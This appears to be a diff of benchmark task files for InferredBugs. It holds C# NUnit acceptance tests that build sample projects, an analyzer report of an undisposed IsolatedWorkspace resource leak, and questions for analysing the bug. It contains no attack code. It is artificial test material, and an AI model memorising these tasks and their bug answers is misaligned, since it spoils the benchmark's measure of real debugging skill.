+            AddTestsCs(workspace);
+
+            workspace.MSBuild(restore: true);
+
+            workspace.VSTest(new[] { $@"bin\Debug\{targetFramework}\Test.dll" })
+                .AssertSinglePassingTest();
+        }
+
+        [TestCaseSource(nameof(DotNetCliTargetFrameworks))]
+        public static void Single_target_csproj_dotnet_CLI(string targetFramework)
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.csproj", $@"
+                    <Project Sdk='Microsoft.NET.Sdk'>
+
+                      <PropertyGroup>
+                        <TargetFramework>{targetFramework}</TargetFramework>
+                      </PropertyGroup>
+
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk' Version='*' />
+                        <PackageReference Include='NUnit' Version='*' />
+                        <PackageReference Include='NUnit3TestAdapter' Version='{NuGetPackageVersion}' />
+                      </ItemGroup>
+
+                    </Project>");
+
+            AddTestsCs(workspace);
+
+            workspace.DotNetTest().AssertSinglePassingTest();
+        }
+
+        [TestCaseSource(nameof(TargetFrameworks)), Platform("Win")]
+        public static void Single_target_vbproj(string targetFramework)
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.vbproj", $@"
+                    <Project Sdk='Microsoft.NET.Sdk'>
+
+                      <PropertyGroup>
+                        <TargetFramework>{targetFramework}</TargetFramework>
+                      </PropertyGroup>
+
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk' Version='*' />
+                        <PackageReference Include='NUnit' Version='*' />
+                        <PackageReference Include='NUnit3TestAdapter' Version='{NuGetPackageVersion}' />
+                      </ItemGroup>
+
+                    </Project>");
+
+            AddTestsVb(workspace);
+
+            workspace.MSBuild(restore: true);
+
+            workspace.VSTest(new[] { $@"bin\Debug\{targetFramework}\Test.dll" })
+                .AssertSinglePassingTest();
+        }
+
+        [TestCaseSource(nameof(DotNetCliTargetFrameworks))]
+        public static void Single_target_vbproj_dotnet_CLI(string targetFramework)
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.vbproj", $@"
+                    <Project Sdk='Microsoft.NET.Sdk'>
+
+                      <PropertyGroup>
+                        <TargetFramework>{targetFramework}</TargetFramework>
+                      </PropertyGroup>
+
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk' Version='*' />
+                        <PackageReference Include='NUnit' Version='*' />
+                        <PackageReference Include='NUnit3TestAdapter' Version='{NuGetPackageVersion}' />
+                      </ItemGroup>
+
+                    </Project>");
+
+            AddTestsVb(workspace);
+
+            workspace.DotNetTest().AssertSinglePassingTest();
+        }
+
+        [Test, Platform("Win")]
+        public static void Multi_target_csproj()
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.csproj", $@"
+                    <Project Sdk='Microsoft.NET.Sdk'>
+
+                      <PropertyGroup>
+                        <TargetFrameworks>{string.Join(";", TargetFrameworks)}</TargetFrameworks>
+                      </PropertyGroup>
+
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk' Version='*' />
+                        <PackageReference Include='NUnit' Version='*' />
+                        <PackageReference Include='NUnit3TestAdapter' Version='{NuGetPackageVersion}' />
+                      </ItemGroup>
+
+                    </Project>");
+
+            AddTestsCs(workspace);
+
+            workspace.MSBuild(restore: true);
+
+            workspace.VSTest(
+                from targetFramework in TargetFrameworks
+                select $@"bin\Debug\{targetFramework}\Test.dll")
+                .AssertSinglePassingTest();
+        }
+
+        [Test]
+        public static void Multi_target_csproj_dotnet_CLI()
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.csproj", $@"
+                    <Project Sdk='Microsoft.NET.Sdk'>
+
+                      <PropertyGroup>
+                        <TargetFrameworks>{string.Join(";", DotNetCliTargetFrameworks)}</TargetFrameworks>
+                      </PropertyGroup>
+
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk' Version='*' />
+                        <PackageReference Include='NUnit' Version='*' />
+                        <PackageReference Include='NUnit3TestAdapter' Version='{NuGetPackageVersion}' />
+                      </ItemGroup>
+
+                    </Project>");
+
+            AddTestsCs(workspace);
+
+            workspace.DotNetTest().AssertSinglePassingTest();
+        }
+
+        [Test, Platform("Win")]
+        public static void Multi_target_vbproj()
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.vbproj", $@"
+                    <Project Sdk='Microsoft.NET.Sdk'>
+
+                      <PropertyGroup>
+                        <TargetFrameworks>{string.Join(";", TargetFrameworks)}</TargetFrameworks>
+                      </PropertyGroup>
+
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk' Version='*' />
+                        <PackageReference Include='NUnit' Version='*' />
+                        <PackageReference Include='NUnit3TestAdapter' Version='{NuGetPackageVersion}' />
+                      </ItemGroup>
+
+                    </Project>");
+
+            AddTestsVb(workspace);
+
+            workspace.MSBuild(restore: true);
+
+            workspace.VSTest(
+                from targetFramework in TargetFrameworks
+                select $@"bin\Debug\{targetFramework}\Test.dll")
+                .AssertSinglePassingTest();
+        }
+
+        [Test]
+        public static void Multi_target_vbproj_dotnet_CLI()
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.vbproj", $@"
+                    <Project Sdk='Microsoft.NET.Sdk'>
+
+                      <PropertyGroup>
+                        <TargetFrameworks>{string.Join(";", DotNetCliTargetFrameworks)}</TargetFrameworks>
+                      </PropertyGroup>
+
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk' Version='*' />
+                        <PackageReference Include='NUnit' Version='*' />
+                        <PackageReference Include='NUnit3TestAdapter' Version='{NuGetPackageVersion}' />
+                      </ItemGroup>
+
+                    </Project>");
+
+            AddTestsVb(workspace);
+
+            workspace.DotNetTest().AssertSinglePassingTest();
+        }
+
+        [Test, Platform("Win")]
+        public static void Legacy_csproj_with_PackageReference()
+        {
+            var workspace = CreateWorkspace();
+            var nuvers = NuGetPackageVersion;
+            workspace.AddProject("Test.csproj", $@"
+                    <?xml version='1.0' encoding='utf-8'?>
+                    <Project ToolsVersion='15.0' xmlns='http://schemas.microsoft.com/developer/msbuild/2003'>
+                      <Import Project='$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props' Condition=""Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')"" />
+                      <PropertyGroup>
+                        <Configuration Condition="" '$(Configuration)' == '' "">Debug</Configuration>
+                        <Platform Condition="" '$(Platform)' == '' "">AnyCPU</Platform>
+                        <ProjectGuid>{{25455E6C-F4D9-41B7-A227-1527D93799B0}}</ProjectGuid>
+                        <OutputType>Library</OutputType>
+                        <AppDesignerFolder>Properties</AppDesignerFolder>
+                        <RootNamespace>Test</RootNamespace>
+                        <AssemblyName>Test</AssemblyName>
+                        <TargetFrameworkVersion>{LegacyProjectTargetFrameworkVersion}</TargetFrameworkVersion>
+                        <FileAlignment>512</FileAlignment>
+                        <Deterministic>true</Deterministic>
+                      </PropertyGroup>
+                      <PropertyGroup Condition="" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' "">
+                        <DebugSymbols>true</DebugSymbols>
+                        <DebugType>full</DebugType>
+                        <Optimize>false</Optimize>
+                        <OutputPath>bin\Debug\</OutputPath>
+                        <DefineConstants>DEBUG;TRACE</DefineConstants>
+                        <ErrorReport>prompt</ErrorReport>
+                        <WarningLevel>4</WarningLevel>
+                      </PropertyGroup>
+                      <PropertyGroup Condition="" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' "">
+                        <DebugType>pdbonly</DebugType>
+                        <Optimize>true</Optimize>
+                        <OutputPath>bin\Release\</OutputPath>
+                        <DefineConstants>TRACE</DefineConstants>
+                        <ErrorReport>prompt</ErrorReport>
+                        <WarningLevel>4</WarningLevel>
+                      </PropertyGroup>
+                      <ItemGroup>
+                        <Reference Include='System' />
+                        <Reference Include='System.Core' />
+                        <Reference Include='System.Xml.Linq' />
+                        <Reference Include='System.Data.DataSetExtensions' />
+                        <Reference Include='System.Data' />
+                        <Reference Include='System.Xml' />
+                      </ItemGroup>
+                      <ItemGroup>
+                        <Compile Include='Tests.cs' />
+                      </ItemGroup>
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk'>
+                          <Version>15.9.0</Version>
+                        </PackageReference>
+                        <PackageReference Include='NUnit'>
+                          <Version>3.11.0</Version>
+                        </PackageReference>
+                        <PackageReference Include='NUnit3TestAdapter'>
+                          <Version>{nuvers}</Version>
+                        </PackageReference>
+                      </ItemGroup>
+                      <Import Project='$(MSBuildToolsPath)\Microsoft.CSharp.targets' />
+                    </Project>");
+
+            AddTestsCs(workspace);
+
+            workspace.MSBuild(restore: true);
+
+            var result = workspace.VSTest(new[] { @"bin\Debug\Test.dll" });
+            result.AssertSinglePassingTest();
+        }
+
+        [Test, Platform("Win")]
+        public static void Legacy_vbproj_with_PackageReference()
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.vbproj", $@"
+                    <?xml version='1.0' encoding='utf-8'?>
+                    <Project ToolsVersion='15.0' xmlns='http://schemas.microsoft.com/developer/msbuild/2003'>
+                      <Import Project='$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props' Condition=""Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')"" />
+                      <PropertyGroup>
+                        <Configuration Condition="" '$(Configuration)' == '' "">Debug</Configuration>
+                        <Platform Condition="" '$(Platform)' == '' "">AnyCPU</Platform>
+                        <ProjectGuid>{{C5C80224-B87B-4783-8CE1-45D64D940AAD}}</ProjectGuid>
+                        <OutputType>Library</OutputType>
+                        <RootNamespace>Test</RootNamespace>
+                        <AssemblyName>Test</AssemblyName>
+                        <FileAlignment>512</FileAlignment>
+                        <MyType>Windows</MyType>
+                        <TargetFrameworkVersion>{LegacyProjectTargetFrameworkVersion}</TargetFrameworkVersion>
+                        <Deterministic>true</Deterministic>
+                      </PropertyGroup>
+                      <PropertyGroup Condition="" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' "">
+                        <DebugSymbols>true</DebugSymbols>
+                        <DebugType>full</DebugType>
+                        <DefineDebug>true</DefineDebug>
+                        <DefineTrace>true</DefineTrace>
+                        <OutputPath>bin\Debug\</OutputPath>
+                        <DocumentationFile>Test.xml</DocumentationFile>
+                        <NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
+                      </PropertyGroup>
+                      <PropertyGroup Condition="" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' "">
+                        <DebugType>pdbonly</DebugType>
+                        <DefineDebug>false</DefineDebug>
+                        <DefineTrace>true</DefineTrace>
+                        <Optimize>true</Optimize>
+                        <OutputPath>bin\Release\</OutputPath>
+                        <DocumentationFile>Test.xml</DocumentationFile>
+                        <NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
+                      </PropertyGroup>
+                      <PropertyGroup>
+                        <OptionExplicit>On</OptionExplicit>
+                      </PropertyGroup>
+                      <PropertyGroup>
+                        <OptionCompare>Binary</OptionCompare>
+                      </PropertyGroup>
+                      <PropertyGroup>
+                        <OptionStrict>Off</OptionStrict>
+                      </PropertyGroup>
+                      <PropertyGroup>
+                        <OptionInfer>On</OptionInfer>
+                      </PropertyGroup>
+                      <ItemGroup>
+                        <Reference Include='System' />
+                        <Reference Include='System.Data' />
+                        <Reference Include='System.Xml' />
+                        <Reference Include='System.Core' />
+                        <Reference Include='System.Xml.Linq' />
+                        <Reference Include='System.Data.DataSetExtensions' />
+                      </ItemGroup>
+                      <ItemGroup>
+                        <Import Include='Microsoft.VisualBasic' />
+                        <Import Include='System' />
+                        <Import Include='System.Collections' />
+                        <Import Include='System.Collections.Generic' />
+                        <Import Include='System.Data' />
+                        <Import Include='System.Diagnostics' />
+                        <Import Include='System.Linq' />
+                        <Import Include='System.Xml.Linq' />
+                      </ItemGroup>
+                      <ItemGroup>
+                        <Compile Include='Tests.vb' />
+                      </ItemGroup>
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk'>
+                          <Version>15.9.0</Version>
+                        </PackageReference>
+                        <PackageReference Include='NUnit'>
+                          <Version>3.11.0</Version>
+                        </PackageReference>
+                        <PackageReference Include='NUnit3TestAdapter'>
+                          <Version>{NuGetPackageVersion}</Version>
+                        </PackageReference>
+                      </ItemGroup>
+                      <Import Project='$(MSBuildToolsPath)\Microsoft.VisualBasic.targets' />
+                    </Project>");
+
+            AddTestsVb(workspace);
+
+            workspace.MSBuild(restore: true);
+
+            workspace.VSTest(new[] { @"bin\Debug\Test.dll" })
+                .AssertSinglePassingTest();
+        }
+
+        private static void AddPackagesConfig(IsolatedWorkspace workspace)
+        {
+            workspace.AddFile("packages.config", $@"
+                <?xml version='1.0' encoding='utf-8'?>
+                <packages>
+                    <package id='Microsoft.CodeCoverage' version='15.9.0' targetFramework='net45' />
+                    <package id='Microsoft.NET.Test.Sdk' version='15.9.0' targetFramework='net45' />
+                    <package id='NUnit' version='3.11.0' targetFramework='net45' />
+                    <package id='NUnit3TestAdapter' version='{NuGetPackageVersion}' targetFramework='net45' />
+                </packages>");
+        }
+
+        [Test, Platform("Win")]
+        public static void Legacy_csproj_with_packages_config()
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.csproj", $@"
+                    <?xml version='1.0' encoding='utf-8'?>
+                    <Project ToolsVersion='15.0' xmlns='http://schemas.microsoft.com/developer/msbuild/2003'>
+                      <Import Project='packages\NUnit3TestAdapter.{NuGetPackageVersion}\build\{LowestNetfxTarget}\NUnit3TestAdapter.props' Condition=""Exists('packages\NUnit3TestAdapter.{NuGetPackageVersion}\build\{LowestNetfxTarget}\NUnit3TestAdapter.props')"" />
+                      <Import Project='packages\NUnit.3.11.0\build\NUnit.props' Condition=""Exists('packages\NUnit.3.11.0\build\NUnit.props')"" />
+                      <Import Project='packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.props' Condition=""Exists('packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.props')"" />
+                      <Import Project='packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.props' Condition=""Exists('packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.props')"" />
+                      <Import Project='$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props' Condition=""Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')"" />
+                      <PropertyGroup>
+                        <Configuration Condition="" '$(Configuration)' == '' "">Debug</Configuration>
+                        <Platform Condition="" '$(Platform)' == '' "">AnyCPU</Platform>
+                        <ProjectGuid>{{107E3C5F-61D7-439E-8B8D-8BF4C9506F06}}</ProjectGuid>
+                        <OutputType>Library</OutputType>
+                        <AppDesignerFolder>Properties</AppDesignerFolder>
+                        <RootNamespace>Test</RootNamespace>
+                        <AssemblyName>Test</AssemblyName>
+                        <TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
+                        <FileAlignment>512</FileAlignment>
+                        <Deterministic>true</Deterministic>
+                        <NuGetPackageImportStamp>
+                        </NuGetPackageImportStamp>
+                      </PropertyGroup>
+                      <PropertyGroup Condition="" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' "">
+                        <DebugSymbols>true</DebugSymbols>
+                        <DebugType>full</DebugType>
+                        <Optimize>false</Optimize>
+                        <OutputPath>bin\Debug\</OutputPath>
+                        <DefineConstants>DEBUG;TRACE</DefineConstants>
+                        <ErrorReport>prompt</ErrorReport>
+                        <WarningLevel>4</WarningLevel>
+                      </PropertyGroup>
+                      <PropertyGroup Condition="" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' "">
+                        <DebugType>pdbonly</DebugType>
+                        <Optimize>true</Optimize>
+                        <OutputPath>bin\Release\</OutputPath>
+                        <DefineConstants>TRACE</DefineConstants>
+                        <ErrorReport>prompt</ErrorReport>
+                        <WarningLevel>4</WarningLevel>
+                      </PropertyGroup>
+                      <ItemGroup>
+                        <Reference Include='Microsoft.VisualStudio.CodeCoverage.Shim, Version=15.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL'>
+                          <HintPath>packages\Microsoft.CodeCoverage.15.9.0\lib\net45\Microsoft.VisualStudio.CodeCoverage.Shim.dll</HintPath>
+                        </Reference>
+                        <Reference Include='nunit.framework, Version=3.11.0.0, Culture=neutral, PublicKeyToken=2638cd05610744eb, processorArchitecture=MSIL'>
+                          <HintPath>packages\NUnit.3.11.0\lib\net45\nunit.framework.dll</HintPath>
+                        </Reference>
+                        <Reference Include='System' />
+                        <Reference Include='System.Core' />
+                        <Reference Include='System.Xml.Linq' />
+                        <Reference Include='System.Data.DataSetExtensions' />
+                        <Reference Include='Microsoft.CSharp' />
+                        <Reference Include='System.Data' />
+                        <Reference Include='System.Net.Http' />
+                        <Reference Include='System.Xml' />
+                      </ItemGroup>
+                      <ItemGroup>
+                        <Compile Include='Tests.cs' />
+                        <None Include='packages.config' />
+                      </ItemGroup>
+                      <Import Project='$(MSBuildToolsPath)\Microsoft.CSharp.targets' />
+                      <Target Name='EnsureNuGetPackageBuildImports' BeforeTargets='PrepareForBuild'>
+                        <PropertyGroup>
+                          <ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them.  For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {{0}}.</ErrorText>
+                        </PropertyGroup>
+                        <Error Condition=""!Exists('packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.props')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.props'))"" />
+                        <Error Condition=""!Exists('packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.targets')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.targets'))"" />
+                        <Error Condition=""!Exists('packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.props')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.props'))"" />
+                        <Error Condition=""!Exists('packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.targets')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.targets'))"" />
+                        <Error Condition=""!Exists('packages\NUnit.3.11.0\build\NUnit.props')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\NUnit.3.11.0\build\NUnit.props'))"" />
+                        <Error Condition=""!Exists('packages\NUnit3TestAdapter.{NuGetPackageVersion}\build\{LowestNetfxTarget}\NUnit3TestAdapter.props')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\NUnit3TestAdapter.{NuGetPackageVersion}\build\{LowestNetfxTarget}\NUnit3TestAdapter.props'))"" />
+                      </Target>
+                      <Import Project='packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.targets' Condition=""Exists('packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.targets')"" />
+                      <Import Project='packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.targets' Condition=""Exists('packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.targets')"" />
+                    </Project>");
+
+            AddPackagesConfig(workspace);
+            AddTestsCs(workspace);
+
+            workspace.NuGetRestore(packagesDirectory: "packages");
+
+            workspace.MSBuild();
+
+            workspace.VSTest(new[] { @"bin\Debug\Test.dll" })
+                .AssertSinglePassingTest();
+        }
+
+        [Test, Platform("Win")]
+        public static void Legacy_vbproj_with_packages_config()
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.vbproj", $@"
+                    <?xml version='1.0' encoding='utf-8'?>
+                    <Project ToolsVersion='15.0' xmlns='http://schemas.microsoft.com/developer/msbuild/2003'>
+                      <Import Project='packages\NUnit3TestAdapter.{NuGetPackageVersion}\build\{LowestNetfxTarget}\NUnit3TestAdapter.props' Condition=""Exists('packages\NUnit3TestAdapter.{NuGetPackageVersion}\build\{LowestNetfxTarget}\NUnit3TestAdapter.props')"" />
+                      <Import Project='packages\NUnit.3.11.0\build\NUnit.props' Condition=""Exists('packages\NUnit.3.11.0\build\NUnit.props')"" />
+                      <Import Project='packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.props' Condition=""Exists('packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.props')"" />
+                      <Import Project='packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.props' Condition=""Exists('packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.props')"" />
+                      <Import Project='$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props' Condition=""Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')"" />
+                      <PropertyGroup>
+                        <Configuration Condition="" '$(Configuration)' == '' "">Debug</Configuration>
+                        <Platform Condition="" '$(Platform)' == '' "">AnyCPU</Platform>
+                        <ProjectGuid>{{70AE110C-1736-45F4-8941-5AA3435B7B49}}</ProjectGuid>
+                        <OutputType>Library</OutputType>
+                        <RootNamespace>Test</RootNamespace>
+                        <AssemblyName>Test</AssemblyName>
+                        <FileAlignment>512</FileAlignment>
+                        <MyType>Windows</MyType>
+                        <TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
+                        <Deterministic>true</Deterministic>
+                        <NuGetPackageImportStamp>
+                        </NuGetPackageImportStamp>
+                      </PropertyGroup>
+                      <PropertyGroup Condition="" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' "">
+                        <DebugSymbols>true</DebugSymbols>
+                        <DebugType>full</DebugType>
+                        <DefineDebug>true</DefineDebug>
+                        <DefineTrace>true</DefineTrace>
+                        <OutputPath>bin\Debug\</OutputPath>
+                        <DocumentationFile>Test.xml</DocumentationFile>
+                        <NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
+                      </PropertyGroup>
+                      <PropertyGroup Condition="" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' "">
+                        <DebugType>pdbonly</DebugType>
+                        <DefineDebug>false</DefineDebug>
+                        <DefineTrace>true</DefineTrace>
+                        <Optimize>true</Optimize>
+                        <OutputPath>bin\Release\</OutputPath>
+                        <DocumentationFile>Test.xml</DocumentationFile>
+                        <NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
+                      </PropertyGroup>
+                      <PropertyGroup>
+                        <OptionExplicit>On</OptionExplicit>
+                      </PropertyGroup>
+                      <PropertyGroup>
+                        <OptionCompare>Binary</OptionCompare>
+                      </PropertyGroup>
+                      <PropertyGroup>
+                        <OptionStrict>Off</OptionStrict>
+                      </PropertyGroup>
+                      <PropertyGroup>
+                        <OptionInfer>On</OptionInfer>
+                      </PropertyGroup>
+                      <ItemGroup>
+                        <Reference Include='Microsoft.VisualStudio.CodeCoverage.Shim, Version=15.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL'>
+                          <HintPath>packages\Microsoft.CodeCoverage.15.9.0\lib\net45\Microsoft.VisualStudio.CodeCoverage.Shim.dll</HintPath>
+                        </Reference>
+                        <Reference Include='nunit.framework, Version=3.11.0.0, Culture=neutral, PublicKeyToken=2638cd05610744eb, processorArchitecture=MSIL'>
+                          <HintPath>packages\NUnit.3.11.0\lib\net45\nunit.framework.dll</HintPath>
+                        </Reference>
+                        <Reference Include='System' />
+                        <Reference Include='System.Data' />
+                        <Reference Include='System.Xml' />
+                        <Reference Include='System.Core' />
+                        <Reference Include='System.Xml.Linq' />
+                        <Reference Include='System.Data.DataSetExtensions' />
+                        <Reference Include='System.Net.Http' />
+                      </ItemGroup>
+                      <ItemGroup>
+                        <Import Include='Microsoft.VisualBasic' />
+                        <Import Include='System' />
+                        <Import Include='System.Collections' />
+                        <Import Include='System.Collections.Generic' />
+                        <Import Include='System.Data' />
+                        <Import Include='System.Diagnostics' />
+                        <Import Include='System.Linq' />
+                        <Import Include='System.Xml.Linq' />
+                        <Import Include='System.Threading.Tasks' />
+                      </ItemGroup>
+                      <ItemGroup>
+                        <Compile Include='Tests.vb' />
+                        <None Include='packages.config' />
+                      </ItemGroup>
+                      <Import Project='$(MSBuildToolsPath)\Microsoft.VisualBasic.targets' />
+                      <Target Name='EnsureNuGetPackageBuildImports' BeforeTargets='PrepareForBuild'>
+                        <PropertyGroup>
+                          <ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them.  For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {{0}}.</ErrorText>
+                        </PropertyGroup>
+                        <Error Condition=""!Exists('packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.props')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.props'))"" />
+                        <Error Condition=""!Exists('packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.targets')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.targets'))"" />
+                        <Error Condition=""!Exists('packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.props')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.props'))"" />
+                        <Error Condition=""!Exists('packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.targets')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.targets'))"" />
+                        <Error Condition=""!Exists('packages\NUnit.3.11.0\build\NUnit.props')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\NUnit.3.11.0\build\NUnit.props'))"" />
+                        <Error Condition=""!Exists('packages\NUnit3TestAdapter.{NuGetPackageVersion}\build\{LowestNetfxTarget}\NUnit3TestAdapter.props')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\NUnit3TestAdapter.{NuGetPackageVersion}\build\{LowestNetfxTarget}\NUnit3TestAdapter.props'))"" />
+                      </Target>
+                      <Import Project='packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.targets' Condition=""Exists('packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.targets')"" />
+                      <Import Project='packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.targets' Condition=""Exists('packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.targets')"" />
+                    </Project>");
+
+            AddPackagesConfig(workspace);
+            AddTestsVb(workspace);
+
+            workspace.NuGetRestore(packagesDirectory: "packages");
+
+            workspace.MSBuild();
+
+            workspace.VSTest(new[] { @"bin\Debug\Test.dll" })
+                .AssertSinglePassingTest();
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (returned from NUnit.VisualStudio.TestAdapter.Tests.Acceptance.WorkspaceTools.IsolatedWorkspace NUnit.VisualStudio.TestAdapter.Tests.Acceptance.AcceptanceTests::CreateWorkspace() at Line 431) of type NUnit.VisualStudio.TestAdapter.Tests.Acceptance.WorkspaceTools.IsolatedWorkspace in method "Void SinglePassingTestResultTests.Legacy_csproj_with_packages_config()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void SinglePassingTestResultTests.Legacy_csproj_with_packages_config()
+
+### File:
+src/NUnit.TestAdapter.Tests.Acceptance/SinglePassingTestResultTests.cs
+
+### Key:
+SinglePassingTestResultTests.cs|Legacy_csproj_with_packages_config|DOTNET_RESOURCE_LEAK
+
+### Hash:
+6d0d5a976801e56a89e0037b675b6531
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1020/instruction.md b/inferredbugs-1020/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e3b6dee5c4d6f1a5e1e8014a792492b664c1c292
--- /dev/null
+++ b/inferredbugs-1020/instruction.md
@@ -0,0 +1,690 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** nunit3-vs-adapter
+**Bug ID:** 2
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System.Linq;
+using NUnit.Framework;
